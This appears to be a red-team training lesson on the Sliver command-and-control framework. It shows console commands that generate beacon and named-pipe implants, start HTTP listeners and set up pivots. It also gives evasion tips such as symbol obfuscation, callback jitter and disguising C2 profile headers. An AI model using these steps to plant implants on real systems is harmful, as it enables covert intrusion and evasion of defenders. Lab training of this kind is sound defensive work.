Implants, Beacons and more
Implants
Implants are an essential part of the operation of a command and control server. They offer network connections on different sets of protocols and a means of communication between a C2 server and the target workstation/server. Sliver provides a means of generating implants for Windows, Linux, and MacOS systems. Implants can operate in beacon and session modes. The beacon mode operates in intervals, resulting in the execution of commands at a set period. The session mode enables the ability to have immediate execution of commands by the operator. The beacon mode has its benefits whenever it comes to an actual red team engagement, as it won't streamline the traffic/commands at a constant pace, which might alert the blue team. It is worth noting that beacons can be upgraded to sessions.
Generating an implant in beacon mode
To generate an implant in beacon mode, we can utilize the generate command followed by beacon, while choosing options based on the myriad that are supported.
sliver > generate beacon --help
Generate a beacon binary
Usage:
======
beacon [flags]
Flags:
======
-a, --arch string cpu architecture (default: amd64)
-c, --canary string canary domain(s)
-D, --days int beacon interval days (default: 0)
-d, --debug enable debug features
-O, --debug-file string path to debug output
-G, --disable-sgn disable shikata ga nai shellcode encoder
-n, --dns string dns connection strings
-e, --evasion enable evasion features (e.g. overwrite user space hooks)
-E, --external-builder use an external builder
-f, --format string Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
<SNIP>
Different sets of options will be used based on the situation and scenario. Some of the notable arguments are -J / --jitter, which sets up the jitter time of the callback from the implant in a manner that will fluctuate based on the value, and -S / --seconds, which allows us to set the time interval of the callback. The default value for -S / --seconds is set to 60, meaning every sixty seconds we will receive a callback - either a check-up and/or output containing the results of our query/command.
Implants in beacon mode can be generated using the available protocols in Sliver - mTLS, HTTP(s), DNS, named pipes, and tcp pivots; the latter being mostly used for pivoting between internal targets in an environment. Below are two variants of generating an HTTP beacon while comparing the sizes between the non-obfuscated implant (--skip-symbols) and the obfuscated implant. For simplicity's sake, binaries are generated with names that are not randomized, which is the default for Sliver.
sliver > generate beacon --http 127.0.0.1 --skip-symbols -N http_beacon --os windows
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /home/htb-ac-8414/http_beacon.exe
By checking the size of the generated implant we can see the size being 11MB.
$ ls -lh /home/htb-ac-8414/http_beacon.exe
-rwx------ 1 htb-ac-8414 htb-ac-8414 11M Sep 28 12:29 /home/htb-ac-8414/http_beacon.exe
Generating an obfuscated implant in beacon mode.
sliver > generate beacon --http 127.0.0.1 -N http_beacon_obfuscated --os windows
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 19s
[*] Implant saved to /home/htb-ac-8414/http_beacon_obfuscated.exe
By checking the size of the generated obfuscated implant we can see the significant different of the size being 17MB.
$ ls -lh /home/htb-ac-8414/http_beacon_obfuscated.exe
-rwx------ 1 htb-ac-8414 htb-ac-8414 17M Sep 28 12:33 /home/htb-ac-8414/http_beacon_obfuscated.exe
As we can see, the generated binaries differ in size, which can be vital for transporting/uploading the implants to our targets.
We must understand the difference when using the --skip-symbols parameter. One of the main disadvantages of skipping the symbol obfuscation is that the beacon will be easily detectable as Sliver due to the imports being presented in plaintext. Whenever we issue strings over the binary we can see the non-obfuscated leftovers of the implant such as github.com/bishopfox/sliver/implant/sliver/version/version_windows.go import. A visual representation can be seen in the terminal snippet below.
$ strings http-beacon-skipSymbols.exe | grep sliver | tail -10
github.com/bishopfox/sliver/implant/sliver/limits/limits.go
github.com/bishopfox/sliver/implant/sliver/limits/limits_windows.go
github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber/jibberjabber_windows.go
github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber/jibberjabber.go
github.com/bishopfox/sliver/implant/sliver/locale/locale.go
github.com/bishopfox/sliver/implant/sliver/version/version_windows.go
github.com/bishopfox/sliver/sliver.go
path github.com/bishopfox/sliver
mod github.com/bishopfox/sliver (devel)
ValueB/Z-github.com/bishopfox/sliver/protobuf/commonpbb
Listeners
Listeners are a crucial step as a listener provides the power to connect the implant to the C2 server. Without a listener, we cannot get a beacon or a session despite generating one and transferring it to the target. We can start a listener in Sliver based on the protocol chosen by us when we generated the binary of the implant. One example is if we have generated an HTTP(s) beacon utilizing the http command in the console.
Note: the provided workstation in Academy uses port 80 for a different important process; therefore, the --lport was used. Through the jobs command, we can be aware of the current listeners that we have set; by default, Sliver operates on port 31337, which should not be stopped.
sliver > http --lport 8088
[*] Starting HTTP :8088 listener ...
[*] Successfully started job #2
sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ======= ===============
1 grpc tcp 31337
2 http tcp 8088
Different listeners provide various options, understanding them is important.
Named pipes
Named pipe is a concept for creating communication between a server and a client; this can be a process on computer A and a process on computer B. Each pipe has a unique name following the format of \\ServerName\pipe\PipeName or \\.\pipe\PipeName. In most cases, one of your tasks would be to blend in as much as possible. Enumerating named pipes on Windows Systems can be done via the ls command in PowerShell followed by the \\.\pipe\ directory.
PS C:\Users\htb-student> ls \\.\pipe\
Directory: \\.\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 01.1.1601 y. 02:00 3 InitShutdown
------ 01.1.1601 y. 02:00 5 lsass
------ 01.1.1601 y. 02:00 3 ntsvcs
Directory: \\.\pipe\Winsock2
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 01.1.1601 y. 02:00 1 Winsock2\CatalogChangeListener-614-0
------ 01.1.1601 y. 02:00 1 Winsock2\CatalogChangeListener-76c-0
Directory: \\.\pipe
<SNIP>
In Sliver, named pipes are primarily used for pivoting on Windows as it is the only supported operating system at the time of writing. Generating a pivot listener follows a different approach, requiring an established session on a target. A pivot listener is close to a bind shell; we are starting a pivot listener on Host A, and from Host B, we will connect to Host A, establishing a chain of communication between the two hosts. This method is used in environments where traffic routing is quite restricted.
[server] sliver (http_beacon) > pivots named-pipe --bind academy
[*] Started named pipe pivot listener \\.\pipe\academy with id 1
After starting the pipe pivot listener, we need to generate a pivot implant using the generate command.
sliver > generate --named-pipe 127.0.0.1/pipe/academy -N pipe_academy --skip-symbols
[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 1s
[*] Implant saved to /home/htb-ac-8414/pipe_academy.exe
Opsec Note
Though the C2 traffic of Sliver looks legitimate, using HTTPS, MTLS, or WireGuard listeners to establish a more secure channel adds a layer of protection. For the HTTP(S) listener, we can make some modifications to the C2 profile file ~/.sliver/config/http-c2.json, such as adding a legitimate request or response headers and changing filenames and extensions in URL generation. We can refer to the Sliver wiki to understand the profile file HTTP(s) under the hood.